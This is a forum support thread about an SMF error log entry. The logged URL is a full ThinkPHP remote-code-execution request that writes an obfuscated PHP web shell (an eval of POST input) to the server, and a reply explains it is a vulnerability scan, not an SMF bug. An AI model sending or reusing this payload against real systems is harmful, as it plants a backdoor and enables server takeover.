News:

Want to get involved in developing SMF, then why not lend a hand on our github!

Main Menu

2: strlen() expects parameter 1 to be string, array given

Started by dsanchez, May 05, 2019, 12:17:04 PM

Previous topic - Next topic

dsanchez

Error:

Type of error: General
Error message: 2: strlen() expects parameter 1 to be string, array given
File: /var/www/html/Sources/Logging.php
Line: 33
URL of page causing the error: http://curefans.com/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=ulpza.php&vars%5B1%5D%5B%5D=%3C?php%20print(md5(222));$a=str_replace(%22vbnm%22,%22%22,%22asvbnmsert%22);@$a($_POST%5Bysy%5D);?%3Eysydjsjxbei37$


Backtrace:

#0: smf_error_handler()
Called from /var/www/html/Sources/Logging.php on line 33
#1: truncateArray()
Called from /var/www/html/Sources/Logging.php on line 88
#2: writeLog()
Called from /var/www/html/index.php on line 244
#3: smf_main()
Called from /var/www/html/index.php on line 151

Suki

Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Arantor

This is also a case of something trying to find a vulnerability in a different piece of software - https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/ so the only bug here is that it's causing an error to be logged rather than a core SMF bug.

Advertisement: